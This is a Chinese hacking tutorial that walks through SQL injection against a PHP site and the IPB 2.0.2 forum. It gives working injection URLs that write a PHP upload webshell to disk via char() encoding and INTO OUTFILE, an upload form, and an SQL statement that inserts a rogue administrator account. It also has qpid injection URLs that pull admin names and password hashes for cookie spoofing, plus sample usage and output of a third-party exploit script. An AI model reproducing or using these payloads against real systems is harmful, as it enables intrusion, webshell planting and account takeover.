本文作者:angel
文章来源: 安全天使
我前段时间写了一篇《mysql注入中导出字段内容的研究——通过注入导出WebShell》(http://www.4ngel.net/article/37.htm),是查询数据然后在生成文件的,现在我发现其实不少PHP程序,比如IPB就是把数据处理过了,再插入数据库,一般是htmlspecialchars()之后,插入数据,所以利用该文的方法,就行不通了,即使把webshell的代码插入数据库,生成出来的也是被处理过的代码。用不了。
近段时间在测试一个PHP网站的时候,由于在load_file的时候,看不到文件的内容,所以我就怀疑是不是字段的原因,因为那些全部是int类型的,还有少数是VARCHAR的,我当初以为是因为这个原因,其实后来进入以后才发现是没有FILE的权限,我不断的换URL提交(注意,写文章的时候,该网站已经修补了漏洞,现在是本地演示):
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47,104,111,109,101,47,119,119,119,47,99,111,110,102,105,103,46,112,104,112)
屏幕上显示了:
/home/www/config.php
路径没错啊,文件也存在啊,难道没有权限?暂时放下这个,这个站点有可写的目录,是ipb2的论坛,/ipb2/uploads这个目录是要设置成可写的,上传附件才能正常使用,我就想利用插数据,导出文件的方法,因为我看了phpinfo(),magic_quotes_gpc 是关闭的,所以用into outfile没有问题,然后在本地测试了一下,发现提交的代码:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
变成了:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
多提交几个地方,均被做了处理,看来这样我的这个思路又不行了,突然想到刚才看路径的时候,能用char()函数输出字符串,那我能不能直接写上传代码?
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
这个转换为10进制是这样的:
char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)
我马上提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)
屏幕并没有显示出我们想要的东西,我查看源代码,发现
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
这个代码老老实实躺在里面,如图:
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
之所以看不见,是因为浏览器把"<"和">"之间的东西当成Html代码解析了,这么说是可行的!这样的好处和插数据,导出文件相比好处在于:
不用插入数据,因此不用考虑数据类型和长度,也不怕做处理。
只用知道一个数据表就可以使用into outfile了,无需知道字段。
因为之前,我猜到一个user表,我也不用去知道字段了,有字段作为查询条件只是为了防止数据库很大,导出所有数据时很慢的情况,我现在马上就提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*
马上查看,如图:
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
注意:因为我这里说是用char()这个函数写的。所以就用这个来说明了。既然能用单引号就没必要用CHAR函数了写东西了。可以直接这样:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/*
其中:?=%3F、$=%24,注意编码,晕……我怎么觉得这篇文章有点多余啊??都写到这里了,继续吧!我只是为了告诉大家可以不用插数据了。5555,就这个意思而已也写了这么多,我发现我这么久没写文章,逻辑性变差了,没有条理了。各位将就点吧。
做个表单在本地提交:
<form ENCTYPE="multipart/form-data" ACTION="http://nothing/upload.php" METHOD="POST">
< input NAME="MyFile" TYPE="file">
< input VALUE="提交" TYPE="submit">
< /form>
传了一个phpspy上去,呵呵,phpmyadmin的密码知道了,马上查看了表前缀等相关信息,执行SQL语句:
insert INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '
[email protected]', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0);
这样就添加了一个IPB2论坛的管理员用户名是"angel",密码是"thepass",呵呵。
到这里还没有说IPB2的漏洞呢,现在补充一下怎么利用,因为这个测试的站点就是用最新的IPB2.0.2,所以顺便把我测试的结果写下来。真是不好意思。我通过IPB2的注入又进入了一次。
看了看IPB2安全公告:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection]
得知qpid这个变量是没有过滤的,我先提交:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1'
返回:
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT join ibf_topics t ON (t.tid=p.topic_id)
where pid IN (1')
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2
mySQL error code:
Date: Monday 06th of December 2004 09:14:34 PM
看到了吗?执行了什么SQL语句,都反馈回来了。从这里可以看出'(单引号)已经被过滤了,转为10进制,变成'了,所以用into outfile没有办法导出文件。这里如果构造出有效的语句,也只能得到敏感信息了。
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT join ibf_topics t ON (t.tid=p.topic_id)
where pid IN (1')
从这里看到SQL语句后。我再试着构造语句,利用union联合查询,可以得到任意数据库、任意数据表、任意字段的内容。提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*
可以看到用户id为1的用户名。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*
可以看到用户id为1的密码MD5散列。
如果论坛太大了。找不到管理员的ID,直接用"where mgroup=4"作为查询条件可以了。我也不多说怎么构造了。大家如果不明白构造,可以先去http//www.4ngel.net看看相关文章。有了这些敏感的数据,就可以直接COOKIE欺骗了哦。IPB2.0.0-2.0.2的COOKIE欺骗的漏洞细节,可以在绿盟看到(http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181)。
RusH security team发布的IPB2的eXPloit(http://www.rst.void.ru/download/r57ipb.txt),要求的参数比较多,居然还要知道SID,如下:
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
如果成功利用了,就会返回,
## [ REPORT ]----------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d]
## --------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
而且他们是CONCAT(id,char(58),name,char(58),member_login_key)这样来判断。自然没有我们直接返回这么潇洒了。不过工具也只能这样了,手工的话,我们只用知道构造就行了,仅此而已。
工具只是武器,技术才是灵魂。毛主席说过:自己动手,丰衣足食。
RusH security team发布的IPB2的exploit
(出处:http://www.sheup.com)